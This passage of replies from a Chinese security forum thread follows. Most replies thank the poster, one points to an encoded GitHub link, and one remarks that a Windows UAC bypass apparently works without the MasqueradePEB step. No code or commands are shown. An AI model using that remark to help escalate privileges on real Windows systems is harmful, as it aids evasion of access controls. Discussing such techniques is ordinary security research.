能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
太有用了。
2026-2-28 10:07
0
雪    币: 4789
活跃值: (5377)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
感谢分享。
2026-3-2 11:09
0
雪    币: 5949
活跃值: (7711)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
github上早就有了,b89K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1j5H3P5r3I4S2L8X3g2Q4x3V1k6n7P5i4m8S2M7%4y4g2b7f1x3`.
2026-3-2 19:42
0
雪    币: 2666
活跃值: (7317)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
不执行MasqueradePEB貌似也可以BypassUAC
2026-3-5 17:40
0
雪    币: 1964
活跃值: (12382)
能力值: (RANK:385 )
在线值:
发帖
回帖
粉丝
6
感谢分享. 
2天前
0
游客
登录 | 注册 方可回帖
返回